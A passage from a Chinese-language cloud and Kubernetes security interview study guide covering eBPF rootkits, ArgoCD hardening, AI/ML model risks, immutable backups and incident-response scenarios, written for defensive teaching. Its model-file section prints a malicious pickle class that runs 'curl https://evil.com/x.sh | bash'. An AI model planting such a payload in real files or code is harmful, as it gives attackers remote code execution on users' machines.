   ★★ 所以:能加载 eBPF ≈ 拥有 root

风险 2:★★ 恶意 eBPF Rootkit(2019 年后的新型后门)
   传统 rootkit 加载内核模块 → 在 /proc/modules 里能看到
   ★ eBPF rootkit 藏得更深,能【隐藏自己】
   能做的:
     ✓ 隐藏进程(ps 看不到挖矿)
     ✓ 隐藏网络连接(netstat 看不到 C2)
     ✓ 隐藏文件
     ★ 隐藏自己(bpftool prog list 看不到)
     ✓ 劫持命令(把 kill 变成 no-op)
     ✓ 绕过防火墙(XDP 层放行攻击者 IP)
   ★ 检测难点:无文件落地,传统文件完整性检查没用

风险 3:★ 容器内 eBPF 攻击
   ★★ eBPF 是【全局的】,没有 namespace 隔离!
   → 容器里的进程加载 eBPF,能影响整个宿主机的所有进程
   ✅ 容器必须禁止 CAP_BPF 和 CAP_SYS_ADMIN
   ★ 好消息:Linux 5.8+ 有 CAP_BPF,可以单独控制

★ 检测与防御

# 检测:对比不同视角(rootkit 只能骗过一部分)
ps aux | wc -l
ls /proc | grep -E '^[0-9]+$' | wc -l    # ★ 不一致 = 有问题

ss -tulnp | wc -l
cat /proc/net/tcp | wc -l

# CPU 100% 但 top 里看不到对应进程 → ★ 高度可疑
top -bn1 | head -15

# 查看已加载的 eBPF 程序
bpftool prog list
bpftool map list

# 防御
☑ 容器不给 CAP_BPF / CAP_SYS_ADMIN
☑ 考虑 kernel.unprivileged_bpf_disabled=1
   ★ 注意:会禁掉正常监控工具,要评估
☑ 用 LSM BPF(用 eBPF 管控 eBPF 的加载)
☑ 监控 bpftool prog list 的变化(基线 + 告警)
☑ 用 Tetragon 监控 eBPF 加载行为

J20(★★★)GitOps 有什么安全价值?又有什么风险?

★ 安全价值(★ 三个,第二个最重要)

① ★★ 消灭"手工改生产"的路径
   所有变更都有 git 记录(谁、什么时候、改了什么、为什么)
   → ★ 出事后能完整还原时间线

② ★★★ 自动漂移修复(★ 这是 GitOps 最大的安全好处)
   攻击者改了集群(如加了个后门 DaemonSet)
   → ArgoCD 发现与 git 不一致 → ★ 自动删掉后门
   ★★ 这直接废掉了"DaemonSet 后门"这种持久化手法!
       (攻击者加的 DaemonSet 不在 git 里,会被自动清理)

③ 快速恢复
   集群被搞坏 → git revert → 自动回滚
   ★ 比任何备份恢复都快

④ 变更走 PR → 有 review + 可集成 Checkov/Kyverno 扫描

★ 四个风险

风险 1:★★★ git 仓库成了新的"皇冠珠宝"
   ★ 以前:攻破集群得攻破集群
   ★ 现在:★ 攻破 git 仓库 = 攻破集群
           (改一下 manifest,ArgoCD 帮你部署到生产)
   ✅ 防护:
     - manifest 仓库权限比代码仓库更严格
     - 强制 PR review(敏感目录 2 人)
     - ★ 分支保护:禁 force push、禁直接 push main
     - 签名提交 + 验证

风险 2:★★★ ArgoCD 本身权限极大
   它通常有集群里最大的 SA(需要能创建任何资源)
   ★ 攻破 ArgoCD = 攻破整个集群
   ✅ 防护:
     - ★★ 管理界面启用 SSO(不要用它自带的 admin 初始密码!)
     - ★ 不对外暴露(VPN/内网)
     - ★★ 用 AppProject 严格限制:
         · 能部署到哪些命名空间(不给 *)
         · 能创建哪些资源类型(不含 Secret/DaemonSet/ClusterRole)
         · 从哪些 git 仓库拉取

风险 3:★★ 默认密码 / 默认配置
   ★ ArgoCD 安装后:
     - 用户名 admin
     - ★ 密码在 argocd-initial-admin-secret 里(base64 = 明文)
     - ★ 很多人装完不改,还把 ArgoCD 暴露到公网
     → ★★ 直接用默认密码登录 = 集群管理员
   ★ 还有:★ 默认允许【匿名只读】!
     → 任何人访问就能看到所有应用和 Secret

风险 4:★ 供应链传递
   manifest 引用外部 Helm chart / 远程 YAML
   → 上游被投毒 → 你的集群自动部署恶意版本
   ✅ 内部仓库 + 验签 + 固定版本号(不用 latest)

★ ArgoCD 加固的必查五项(给出命令会加分)

# ① 检查是否改了默认密码
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath='{.data.password}' | base64 -d
# ✅ 改完密码后必须删掉这个 Secret

# ② 检查匿名访问
kubectl -n argocd get cm argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'
# ✅ 应该是 "false"(默认是 "readonly",必须改!)

# ③ 检查 AppProject 的 destination 有没有通配符
#    ★ 有 * = 能部署到 kube-system

# ④ 检查是否暴露到公网
kubectl -n argocd get ingress,svc -o wide
# ✅ argocd-server 应该是 ClusterIP

# ⑤ 检查能不能创建集群级资源
#    ✅ clusterResourceWhitelist 应该是 0 条

J21(★★★)AI / ML 工作负载有什么特殊的安全风险?

★ 根本原因

传统 Web 服务:接收 HTTP 请求 → 查数据库 → 返回 JSON
AI 工作负载:★ 接收【代码/模型/数据】→ ★ 执行它 → 用 GPU 跑

★★ 关键区别:AI 工作负载【天然需要执行不可信的东西】
   - Jupyter:用户上传代码,服务器执行(★ RCE as a Service)
   - 模型推理:加载第三方模型文件(★ pickle = RCE)
   - 训练任务:加载数据集、执行自定义处理代码
   - Agent / 插件:调用外部工具(见第一章)

★ 风险 1:Jupyter = 官方 RCE

★★ Jupyter 的【核心功能】就是:用户提交代码 → 服务器执行
   → ★ "这不是漏洞,这是功能"
   → 但暴露在公网上 = 公开了一个 shell

★ 真实场景:
   ① 公网部署 Jupyter(数据科学家常干)
   ② 没设密码或弱密码(★ 默认有 token 但经常被关掉)
   ③ 扫描器扫到 8888 端口
   ④ 攻击者获得一个 shell,而且:
      ★ 在有 GPU 的机器上
      ★ 挂载了训练数据、模型权重、云凭据

✅ 防护:
   ☑ ★★ 绝不对公网暴露(用 SSH 隧道 / VPN)
   ☑ 强 token 或密码
   ☑ 运行在容器里:非 root、无特权、只读根文件系统、
     独立 SA(无 K8s 权限)、NetworkPolicy 限出网
   ☑ ★ 不要用能访问生产数据的云角色
   ☑ 挂载的数据目录最小化

★ 风险 2:模型文件的反序列化 RCE(★ 必考)

import torch

# ❌❌❌ 危险:torch.load 默认走 pickle 反序列化
model = torch.load("downloaded_model.pth")
# ★ pickle 反序列化时会执行 __reduce__ 里指定的任意代码
#   → 攻击者可以在模型里埋:os.system("curl evil.com/x.sh|bash")

# 恶意模型的原理(看一眼就懂):
import pickle, os
class Evil:
    def __reduce__(self):
        return (os.system, ('curl https://evil.com/x.sh | bash',))
pickle.dumps(Evil())     # ← 这就是一个"模型文件"

# ✅ 正确做法 1:weights_only=True(PyTorch 2.0+)
model = torch.load("model.pth", weights_only=True)
# ★ PyTorch 2.6 之后【默认】就是 True

# ✅ 正确做法 2:用 safetensors 格式(★ 推荐)
from safetensors.torch import load_file
state_dict = load_file("model.safetensors")
# ★ safetensors 【设计上就不支持代码执行】

# ✅ 正确做法 3:扫描
#   pip install modelscan
#   modelscan scan --path ./model.pth
★ 格式风险排序:
   .pkl / pickle     → ★★★ 等同 RCE
   .pth(torch 老版)→ ★★★ 走 pickle
   ONNX             → ★★ 支持自定义算子(可含代码)
   Keras .h5        → ★ HDF5,历史上有问题
   SavedModel       → ★ 相对安全
   ★★ safetensors   → ✓ 目前最安全

★ 风险 3 & 4(简答即可)

风险 3:GPU 多租户隔离问题
   ★ GPU 没有像 CPU 那样的强隔离:
     - 显存泄漏(一个容器占满,其他全 OOM)
     - 侧信道(共享 L2 缓存,理论上可跨容器窃数据)
     - 驱动漏洞(NVIDIA 驱动每年都有 CVE)
   ✅ 敏感场景用 NVIDIA MIG 硬件分区 / 独占
   ★ 及时更新 GPU 驱动(很多人忘了)

风险 4:凭据与数据
   ★ 常见错误:Notebook 里硬编码 AK/SK(★ 数据科学家不熟悉安全,极常见)
   ★ 模型权重本身是核心资产,且可能【记忆】了训练数据
     (★ 模型反演攻击:从权重反推训练数据)
   ✅ 用 IRSA,禁止 AK/SK
   ✅ 模型权重:加密存储 + 访问控制 + 出库审计
   ✅ NetworkPolicy 限制训练容器出网(防数据外传)

J22(★★★)防勒索的不可变备份怎么做?三种方案对比

★ 为什么需要(先说清楚勒索软件的逻辑)

★★★ 2026 年勒索软件的标准流程:
  ① 进入环境
  ② 横向移动
  ③ ★★ 【第一步就是删除所有备份】← ★ 这是关键
  ④ 加密生产数据
  ⑤ 勒索

★ 所以:
  ★★ 如果备份能被攻击者删掉,那备份等于不存在

★ 真实教训:
  很多公司"有备份",但备份服务器在同一个域、
  用域账号管理 → 攻击者拿域管 → 删光备份 → 只能交赎金

★ 三种方案对比

方案 原理 能防住 防不住
版本控制 + MFA Delete 删除只打标记;删版本需 MFA 普通 AK 删除、误操作 拿到 root+MFA、关闭版本控制
★★ 对象锁(Object Lock) WORM:保留期内谁都删不掉 ★ 任何权限的删除 ★ 你自己也删不掉(代价)
★★★ 跨账号/跨云备份 备份账号凭据生产环境没有 ★★ 生产账号完全沦陷 成本高、架构复杂
★ 对象锁的两种模式(★ 必答区别):
   GOVERNANCE(治理模式):
     有特殊权限的人(s3:BypassGovernanceRetention)可以删
     → 适合合规场景,管理员还能操作
   ★★ COMPLIANCE(合规模式):
     ★★ 谁都删不掉,包括账号 root、包括云厂商
     → ★ 这才是真正的防勒索
     ★ 代价:你自己也删不掉,必须等保留期结束

★ 3-2-1 原则(★ 背下来):
   3 份副本 + 2 种不同介质 + 1 份离线/异地

★ 跨账号备份的关键设计:
   ★ 生产账号里【没有】备份账号的凭据(单向)
   → 攻击者即使完全控制生产账号,也碰不到备份账号

★ 三句最实在的话(加分)

① ★ 没有恢复演练过的备份 = 没有备份
   每年至少做两次完整恢复演练,记录 RTO
   ★ 很多公司出事时发现:备份是坏的 / 恢复要 3 天 / 缺关键数据

② ★ 备份本身也要防"被篡改"
   攻击者不一定删备份,他可以【污染】备份
   → 恢复后等于重新被感染
   ✅ 备份要校验哈希 + 恢复时要扫描

③ ★ 恢复顺序要想清楚
   ① 干净的基础环境(网络 + 身份)
   ② 域控(★ 注意 Tombstone 和 USN 回滚问题,见第七章)
   ③ 应用服务器
   ④ 数据(恢复后验证完整性)
   ⑤ ★★ 全部重置凭据(密钥、密码、Session)
   ⑥ 逐步开放网络
   ★ 反例:先恢复应用 → 攻击者用旧凭据又进来 → 白恢复

10.8.3 场景题(J23 ~ J27)


J23(★★)老板说:“我们上了云,云厂商负责安全,应该没问题了吧?”

★ 这是一道“沟通题”,不是技术题。考察你怎么跟非技术人员说清楚。

❌ 错误回答

"不对,云厂商只负责云平台,我们要负责自己的数据"
→ ★ 太生硬,像在上课,老板听完只觉得"安全在制造焦虑"
→ 而且老板会想:"那我花钱上云图什么?"

✅ 正确的回答(三步:认同 → 类比 → 给方案)

第一步:【先认同,不否定】
  "您说得对,用了云之后,我们确实【少操心了很多事】。
   以前我们要管机房的门禁、空调、消防、硬盘坏了要换、
   服务器要打系统补丁 —— 这些现在全是云厂商的事了。
   ★ 这一块我们的人力和风险确实降了很多。"

第二步:【用一个类比说清楚"哪些还是我们的事"】
  "不过有一块还是我们的责任,我打个比方:

   ★ 云厂商就像是【开发商和物业】,
     他们负责:楼的结构安全、消防系统、电梯维保、小区门禁。

   ★ 我们是【住户】,我们要负责:
     - 自己家的门锁不锁(★ 相当于安全组、桶权限)
     - 钥匙给谁(★ 相当于 IAM 权限)
     - 家里放着什么贵重东西(★ 相当于数据分类)
     - 装不装监控(★ 相当于审计日志)

   ★ 如果物业把小区的安保做得再好,
     但【我们出门忘了锁门】,小偷还是能进来。
     ★★ 而且这个责任,物业合同里写得很清楚是住户的。"

第三步:【给具体数字 + 落地方案,把焦虑转成行动】
  "这里有个真实数据:云上的安全事故,
   ★ 超过 70% 不是云厂商被攻破,而是【配置错误】
     —— 主要是:存储桶配成了公开、权限给得太大、密钥泄露到代码仓库。

   我建议我们做三件事(成本都很低):
     ① 【本周】:开启云厂商的免费安全体检(Security Hub / 云安全中心)
        跑一遍,看我们现在有多少个红灯
     ② 【本月】:在所有账号开启审计日志 + 存储桶禁止公开
        (★ 这两条能挡掉大部分'配置错误'类的事故)
     ③ 【下季度】:消灭所有长期密钥,改用临时凭据

   ★ 我下周把第 ① 项的报告发给您,我们用数据说话。"

★★★ 这段回答好在哪:
  ① 没有否定老板(避免对立)
  ② 用"物业/住户"的类比(非技术人员秒懂)
  ③ ★ 给出了【成本低的、分阶段的】方案(不是"要买很多东西")
  ④ ★ 用数据(70% 是配置错误)建立可信度
  ⑤ ★ 结尾给了明确的下一步(下周发报告)→ 形成闭环

★ 如果老板追问“那要花多少钱?”

"分三档:
  ★ 第一档(0 成本,本周就能做):
     开启云厂商免费的安全体检、审计日志、存储桶禁公开、MFA
     → 这几项能覆盖【80%】的常见风险

  ★ 第二档(几万/年,小团队就够用):
     开源工具组合(Prowler + Trivy + Falco)+ 一个人力投入
     → 覆盖到 90%

  ★ 第三档(几十万起,中大型+有合规要求):
     商业 CNAPP 平台
     → 主要价值是【跨层关联分析】和【省人力】

  ★★ 我的建议:先做第一档,两周后拿数据给您看,
      再决定要不要上第二档。不要一开始就买贵的 ——
      ★ 工具买了不开、配置了不看,比没有工具更危险。"

J24(★★★★)场景:发现云 AK/SK 被提交到了公开的 GitHub 仓库,你只有 15 分钟,做什么?

★ 核心矛盾:速度与正确性

太快:直接删密钥 → 业务挂了(生产服务在用)
太慢:等确认清楚 → 攻击者已经用你的 AK 开了 50 台矿机

★★★ 正确答案:分两条线并行
   【止血线】(2 分钟内完成)+ 【保全线】(同步进行)

★ 分钟级操作清单

═══ 0~2 分钟:止血(★ 最关键的两分钟)═══
┌────────────────────────────────────────────────────────┐
│ ① 立刻【禁用】AK,不要删除!                              │
│    aws iam update-access-key \                          │
│      --user-name <user> --access-key-id AKIA... \        │
│      --status Inactive                                  │
│                                                         │
│    ★ 为什么禁用而不是删除:                               │
│      - 禁用是【可逆】的(如果是误报,5 秒恢复)            │
│      - 删除是不可逆的(如果删错了,要重新分发密钥)         │
│      ★ 紧急时刻,永远选择可逆的操作                       │
│                                                         │
│ ② 立刻附加 Deny All 策略(★ 双保险,秒级生效)            │
│    有时候禁用 AK 有延迟,直接贴 Deny All 更可靠           │
│                                                         │
│ ③ ★★★ 吊销所有活动会话(★ 最容易被忘!)                  │
│    ★ 攻击者可能已经用这个 AK 换出了【临时凭据】           │
│      (1~12 小时有效)                                   │
│    ★ 光禁用 AK,临时凭据【依然有效】!                     │
│    → 必须用 aws:TokenIssueTime 条件让旧令牌全部失效       │
└────────────────────────────────────────────────────────┘

═══ 2~5 分钟:评估影响 ═══
┌────────────────────────────────────────────────────────┐
│ ④ ★★ 查 CloudTrail:这个 AK 在过去 24 小时做了什么        │
│    aws cloudtrail lookup-events \                       │
│      --lookup-attributes \                              │
│        AttributeKey=AccessKeyId,AttributeValue=AKIA...  │
│                                                         │
│    重点看(★ 按这个顺序):                               │
│      a) 有没有【创建】操作?                              │
│         CreateUser / CreateAccessKey / CreateRole        │
│         → ★ 有 = 攻击者已经留了后门,禁用 AK 没用了!      │
│      b) 有没有【读取】数据?                              │
│         GetObject / GetSecretValue / CreateSnapshot      │
│         → ★ 有 = 数据可能已经被拖走,要启动数据泄露流程    │
│      c) 有没有【启动资源】?                              │
│         RunInstances(尤其是大规格 GPU 机型)= 挖矿       │
│      d) 来源 IP 是什么?                                 │
│         ★ 陌生的境外 IP = 确认是被利用了                   │
└────────────────────────────────────────────────────────┘

═══ 5~15 分钟:清理与通知 ═══
┌────────────────────────────────────────────────────────┐
│ ⑤ 如果发现了后门(新建的用户/角色/AK):                   │
│    → ★ 全部删除,并检查这些后门又做了什么(递归排查)     │
│                                                         │
│ ⑥ 如果是挖矿:                                           │
│    → 终止那些实例(★ 但先打快照取证!)                   │
│                                                         │
│ ⑦ ★ 通知相关方:                                         │
│    - 业务负责人(解释为什么会短暂中断)                    │
│    - 如果涉及数据泄露 → ★ 法务 + 合规(有时限要求!)     │
│      ★★ 个保法:发生个人信息泄露要【立即】通知            │
│    - 安全负责人                                          │
│                                                         │
│ ⑧ ★ 保留证据(★ 不要急着删任何东西)                      │
│    - 导出 CloudTrail 记录                                │
│    - 保存 IAM 快照:                                     │
│      aws iam get-account-authorization-details > snap.json│
└────────────────────────────────────────────────────────┘

★ 后半段(15 分钟之后,但面试要说到)

第一小时:
  ✓ 轮换所有【可能相关】的凭据
    ★ 不只是泄露的那个 AK!
      同一个用户、同一个应用用的其他凭据也要换
  ✓ 全账号排查:还有没有其他泄露的密钥
    (用 gitleaks / trufflehog 扫所有仓库)

第一天:
  ✓ 排查横向影响:攻击者有没有接触其他系统
  ✓ 账单检查:有没有异常消费(挖矿最明显的信号)

第一周(★ 根因修复):
  ✓ ★★ 消灭长期 AK/SK,改用 IRSA / OIDC / 实例角色
    ★★ 这是唯一能【根治】这个问题的方法
  ✓ 上 pre-commit hook(gitleaks)拦截密钥提交
  ✓ CI 里加密钥扫描
  ✓ 开启云厂商的泄露检测(AWS 会自动给泄露的 AK 打标签)
  ✓ 给开发做培训(★ 大部分泄露是无心的)

★ 加分点(体现经验的地方)

"我补充三个容易被忽略的点:

 ① ★★ 光禁用 AK 是不够的,必须吊销会话
    这是很多人(包括有经验的运维)会漏的一步。
    攻击者拿到 AK 后第一步通常是 AssumeRole 换长期限的临时凭据。
    你禁用了 AK,他手上的临时凭据还能用 12 小时。

 ② ★ 【不要立刻删仓库里的密钥文件】
    很多人的第一反应是"赶紧删掉那个文件"
    → ★ 但 git 历史里还在!删了等于"此地无银三百两",
       反而提醒了正在爬仓库的机器人
    ✅ 正确顺序:
       ① 先禁用密钥(★ 让泄露的东西失效,这是唯一有效的)
       ② 再处理仓库(改历史 / 联系 GitHub _SECRET scanning)
       ③ ★ 密钥已经公开过了,就当它永远泄露了,【必须轮换】

 ③ ★★ 如果这是个紧急修复,想想"为什么会走到这一步"
       是赶工期?是没人做 code review?是没有工具拦截?
    ★ 每次事故都是一次改进流程的机会。
      我们的做法:事故复盘里必须有一项
      '下次怎么让这类错误【不可能发生】,而不只是【不再发生】'
      → 比如:消灭长期密钥 = 让这类事故【不可能发生】"

J25(★★★★)场景:凌晨 3 点告警 —— 某 K8s 节点上出现一个可疑 Pod,怎么排查?

★ 这道题考的是“有条理的应急响应流程”,不是考某个具体命令

★ 第一步:先判断“这是不是真的”(前 5 分钟)

★★★ 最重要的一句话:★ 先不要删 Pod!

  很多人的第一反应是"赶紧删掉"
  → ★ 错!删掉就毁了所有证据,而且:
    - 如果是 DaemonSet,删了会自动重建
    - 如果是攻击者部署的,删了会惊动他(他会加速/清理痕迹)

✅ 正确的第一步:【观察 + 记录 + 隔离】,不是删除
① 记录现场(★ 5 分钟内完成,这是最有价值的证据)
   kubectl describe pod <pod> -n <ns> -o yaml > /tmp/pod.yaml
   kubectl logs <pod> -n <ns> --all-containers > /tmp/pod.log
   kubectl get pod <pod> -n <ns> -o jsonpath='{.spec.containers[*].image}'
   ★ 记录:镜像、启动时间、挂载、SA、环境变量、父资源

② 判断"这是不是合法业务"
   ★ 问自己三个问题:
     a) 这个镜像在我们的镜像仓库里吗?
     b) 这个 Pod 在 git(manifest 仓库)里有对应记录吗?
     c) 这个命名空间平时会有这种 Pod 吗?
   ★★ 如果用了 GitOps(ArgoCD),这一步特别快:
       kubectl get application -n argocd → 看有没有对应的 Application
       ★ 没有 = 几乎肯定是攻击者部署的

③ 快速定性(★ 按危险度从高到低判断)
   □ 是不是 privileged?        → 是 = 高危,可能在做容器逃逸
   □ 有没有 hostPath 挂载 /?   → 是 = 高危
   □ 有没有 hostPID/hostNetwork?→ 是 = 高危
   □ 用的什么 SA?              → default 或高权限 SA = 高危
   □ 镜像来自哪?               → 非私有仓库 = 高危
   □ 名字像不像系统组件?        → nginx-metrics、kube-proxy-xxx、node-agent
                                  ★★ 伪装成系统组件 = 典型后门特征

★ 第二步:遏制(不删除的前提下)

① ★ 切断网络(最温和、最有效)
   kubectl apply -f - <<EOF
   apiVersion: networking.k8s.io/v1
   kind: NetworkPolicy
   metadata:
     name: isolate-suspect
     namespace: <ns>
   spec:
     podSelector:
       matchLabels: <可疑 Pod 的标签>
     policyTypes: [Ingress, Egress]
     # ★ 空的 = 完全隔离(既不能进也不能出)
   EOF
   → ★ 这样攻击者不能外传数据,也不能接收指令,但 Pod 还在(证据保全)

② ★ 吊销它的 SA 权限
   - 找出它用的 SA
   - 给这个 SA 附加一个 Deny All 的 Role(★ 或者删掉它的 RoleBinding)
   → ★ 即使它在跑,也调不了 K8s API

③ ★★ 如果它已经在做坏事(如正在挖矿、正在外传数据)
   → 优先级改变:止损 > 取证
   → 立即:改云侧安全组 / 断开节点的公网
   → 但依然【保留 Pod】,只是切断它的出口

④ ★ 隔离节点(如果需要)
   kubectl cordon <node>       # 不再调度新 Pod
   # ★ 注意:不要 drain!drain 会驱逐 Pod(包括证据)

★ 第三步:溯源(★ 这是最难也最有价值的部分)

★ 核心问题:他是怎么进来的?

① ★★ 查 K8s 审计日志(★ 第一优先)
   找这个 Pod 的创建记录:
   - 谁创建的(user / SA / 匿名?)
   - 从哪个 IP
   - 用的什么 user-agent

   ★ 三种典型结果:
     a) 是某个 SA 创建的
        → 追这个 SA:它被绑了什么权限?哪些 Pod 用它?
        → ★ 然后追"攻击者是怎么拿到这个 SA 的"
     b) 是匿名创建的(★ 最糟)
        → ★★ API Server 匿名访问开着 = 集群门户大开
        → 立即关闭 anonymous-auth
     c) 是 ArgoCD/CI 创建的
        → ★ 追 git 仓库:谁的 PR?有没有 review?
        → 可能是供应链攻击(见第九章)

② 查"前一跳"(★ 他在这个 Pod 之前在哪)
   - 同一个 SA / 同一个 IP / 同一个 user-agent 还做过什么?
   - ★ 有没有 exec 进其他 Pod?
     kubectl get events -A | grep -i exec
   - ★ 有没有读取 Secret?

③ 查宿主机(★ 如果 Pod 是 privileged)
   - 节点上有没有异常进程?
   - 有没有新增的 SSH key?
   - ★ 有没有动过 /etc/kubernetes/manifests/(静态 Pod 后门)?

④ 查云侧
   - CloudTrail:有没有异常 API 调用?
   - ★ 有没有访问 IMDS(用 VPC Flow Logs 看 169.254.169.254 的记录)

⑤ ★ 时间线(★ 最后一定要画出来)
   把上面所有发现按时间排序,画成时间线
   → ★ 只有时间线能回答:"他到底做了什么?影响多大?"

★ 第四步:清理(★ 顺序很重要)

★★★ 正确的清理顺序:

  ① 【先堵住入口】
     → 如果入口没堵住,你清了 Pod,他 30 秒后再部署一个

  ② 【清理持久化后门】(★ 这一步最容易被忘,也最关键)
     按危险度排序:
       a) ★ DaemonSet(会自动在所有节点重建)
       b) ★ 静态 Pod(/etc/kubernetes/manifests/ 下的,★ kubectl delete 删不掉!)
       c) ClusterRoleBinding(后门权限)
       d) CronJob
       e) MutatingWebhook(★ 能拦截所有 API 请求)
       f) 新建的 SA / Secret
     ★★ 检查每个节点:
       ssh 到节点,检查 /etc/kubernetes/manifests/
       ★ 这里的静态 Pod 用 kubectl 是删不掉的,必须 ssh 上去删文件

  ③ 【清理运行时】
     → 删 Pod、删 Deployment

  ④ ★★ 【轮换所有可能泄露的凭据】
     - 该 SA 的 token(删掉对应的 Secret 会重新生成)
     - 节点上的 kubelet 证书
     - 所有可能被读到的 Secret
     - ★ 如果这个 Pod 访问过 IMDS → 节点角色的云凭据可能泄露

  ⑤ 【修复根因】
     → 关匿名访问 / 收 RBAC / 上 PSA / 上 NetworkPolicy

★ 加分点(★ 说出这三个认知)

"我做 K8s 应急有三条原则:

 ① ★ 【Pod 不是根,权限才是】
    删掉一个恶意 Pod 毫无意义(他 30 秒就能重建)。
    ★ 关键是他【凭什么】能创建这个 Pod?
    → 找到并堵住那个"凭什么",才是真正的遏制。

 ② ★★ 【检查持久化,尤其是静态 Pod】
    这是 K8s 应急和传统应急最大的区别。
    ★ /etc/kubernetes/manifests/ 下的 YAML,
      kubelet 会自动拉起,kubectl delete 删不掉(会立刻重建)
    → ★ 很多团队"清理干净了",结果第二天又复发,
       就是因为这个没查。

 ③ ★★★ 【如果用了 GitOps,排查会快 10 倍】
    直接看这个 Pod 在不在 git 里:
      在 → 看 git 记录,谁的 PR(★ 可能是供应链攻击)
      不在 → ★ 立刻确认是非法部署,而且 ArgoCD 会自动删掉它
    ★★ 这是我强烈建议上 GitOps 的原因之一 ——
       它不只是"部署工具",更是【安全基线】和【取证依据】。"

J26(★★★)场景:客户要做一次云安全评估,你的方法论和检查清单是什么?

★ 先说方法论(★ 没有方法论直接给清单 = 不专业)

★★★ 我用的是【四阶段 + 三个维度】

四个阶段:
  ① 资产梳理(★ 不知道自己有什么,就谈不上安全)
  ② 配置核查(自动化扫描)
  ③ 攻击路径分析(★ 最有价值的部分,工具做不了)
  ④ 整改建议(★ 必须分优先级,否则客户不知道从哪下手)

三个维度(每个阶段都要覆盖):
  - 身份与权限(IAM)
  - 网络与边界
  - 数据与资产

★ 阶段 1:资产梳理(1~2 天)

★ 目标:回答"客户到底有什么"

  ① 有多少个云账号?怎么组织的?
     → ★ 很多公司有多个账号但没人说得清有几个

  ② 每个账号里有什么资源?
     - 计算:多少台机器?多少个 K8s 集群?多少个函数?
     - 存储:多少个桶?哪些桶里有敏感数据?
     - 数据库:多少个实例?哪些对公网开放?
     - 身份:多少个 IAM 用户?多少个角色?多少个 AK?

  ③ ★★ 哪些是"影子资产"?(★ 最容易出问题)
     - 测试环境被遗忘的机器
     - 离职员工建的资源
     - 三年前 POC 留下的东西
     ★ 这些往往:没人维护、没打补丁、权限配置随意

  ★ 输出:一张资产清单 + 标注"重要度"和"暴露面"

★ 阶段 2:配置核查(2~3 天,工具为主)

# ① CSPM 扫描(几百条基线检查)
prowler aws --severity critical high
# 或 Prowler 的 CIS 基线模式
prowler aws --compliance cis_2.0_aws

# ② 权限分析(★ 人工+工具)
cloudsplaining scan --input-file authz.json --output results/
pmapper --account <id> graph create && pmapper --account <id> analysis

# ③ IaC 扫描(如果有 terraform)
checkov -d terraform/ --severity HIGH,CRITICAL
trivy config ./terraform/

# ④ K8s 集群
kube-bench run                  # CIS 基线
# + 第十章 10.4.8 的那个一键自检脚本

# ⑤ 密钥泄露扫描
gitleaks detect --source .      # 扫描代码仓库
trufflehog filesystem . --only-verified

# ⑥ 镜像扫描
trivy image <image> --severity HIGH,CRITICAL
★ 输出:一份"问题清单",每个问题标注:
   - 严重度(Critical / High / Medium / Low)
   - 影响的资产
   - ★ 修复方法(不要只说"有问题",要说"怎么改")

★ 阶段 3:攻击路径分析(★ 这是拉开差距的部分)

★★★ 为什么这一步最重要:
  工具能告诉你"这里有 47 个高危问题"
  ★ 但工具不能告诉你:
     "这 47 个问题里,【这 3 个】串起来能让攻击者
      从一个外网 Pod 直接拿到你的生产数据库"

  ★★ 客户真正想知道的是后者。

★ 我的做法(三问法):

  第一问:【入口在哪?】
    哪些资产暴露在公网上?
    - 0.0.0.0/0 的安全组 → 哪些端口?
    - 公网 IP 的机器 → 跑了什么服务?有没有已知漏洞?
    - 公开的存储桶
    - 暴露的 K8s API Server / Dashboard
    - 公网可访问的数据库 / Redis / Elasticsearch
    - 暴露的 Jupyter / ArgoCD / Kibana

  第二问:【假设进了入口,能走到哪?】
    ★ 这一步要"手动画图":
      外网 Pod
        → 它的 SA 有什么权限?
        → 能访问哪些内网服务?(★ K8s 默认全通)
        → 能访问 IMDS 吗?(拿节点角色)
        → 节点角色的云权限有多大?
        → 这个云权限能访问哪些桶/数据库?
        → ★ 能不能创建 IAM 用户(持久化)?

    ★★ 我通常会真跑一遍(在客户授权的测试环境):
       部署一个"模拟被攻陷的 Pod",看能走到哪一步
       → ★ 这比任何理论分析都有说服力

  第三问:【有没有检测和阻断?】
    这条路上:
    - 有没有审计日志?(能发现吗?)
    - 有没有告警?(能及时发现吗?)
    - 有没有 NetworkPolicy / 授权策略?(能拦住吗?)
    ★★ 很多客户的答案是"三个都没有" —— 这是最可怕的

★ 输出:2~3 条【完整的攻击路径图】+ 每条的阻断建议
   ★ 这个交付物对客户的价值最大(能直接说服管理层投钱)

★ 阶段 4:整改建议(★ 必须分优先级)

★★★ 我的排序原则:【先止血,再治本,最后建体系】

  P0(本周做,成本 0~1 人日):
    ★ 标准:能被【自动化工具】直接利用的问题
    - 关闭 0.0.0.0/0 的数据库/Redis/管理端口
    - 存储桶禁止公开(Block Public Access 四条全开)
    - ★ 开启审计日志(CloudTrail + 对象锁保护)
    - 强制 IMDSv2 + hop limit = 1
    - 所有 IAM 用户开启 MFA
    - 删除未使用的 AK、禁用 root 的日常使用
    - ★ 开启账单告警

  P1(本月做,1~2 人周):
    - 收权限(最小权限四步闭环,见 10.2.2)
    - 消灭长期 AK/SK,改用 IRSA / OIDC
    - K8s:automountServiceAccountToken=false(默认)
    - K8s:PSA restricted(先 audit 后 enforce)
    - K8s:NetworkPolicy 默认拒绝 Ingress
    - IaC 扫描接入 CI(带基线)
    - 镜像:禁止 latest、扫描漏洞

  P2(本季度,需要项目):
    - GitOps(★ 消灭手工改生产 + 自动漂移修复)
    - 运行时检测(Falco)
    - 不可变备份(对象锁 + 跨账号)
    - 服务网格 mTLS + L7 授权
    - 建立应急响应预案 + 演练

★★ 给客户的关键提醒(★ 必须说):
   "P0 这几项能挡掉【80%】的真实攻击,
     而且【几乎不花钱】,只是改配置。
    ★ 我见过太多公司花几十万买安全产品,
      但 0.0.0.0/0 的数据库还开着 —— 本末倒置。"

J27(★★★)场景:公司要从虚拟机迁移到 K8s,安全上要做哪些准备?

★ 这道题考的是“体系化思维”和“落地节奏”

★ 先说一个常见的错误

❌ 错误做法:
  先把业务迁上去 → 跑通了 → 再考虑安全

★ 为什么错:
  K8s 的安全配置有【路径依赖】:
    - PSA 后加 → 一堆 Pod 起不来,要改造
    - NetworkPolicy 后加 → 不知道该放行什么,容易漏
    - RBAC 后加 → 权限已经给滥了,收不回来
  ★★ 后加的成本是"一开始就做"的 5~10 倍

★ 迁移前的准备(★ 集群还没建的时候)

① ★ 集群选型:用托管 K8s(EKS / ACK / TKE / GKE)
   理由:
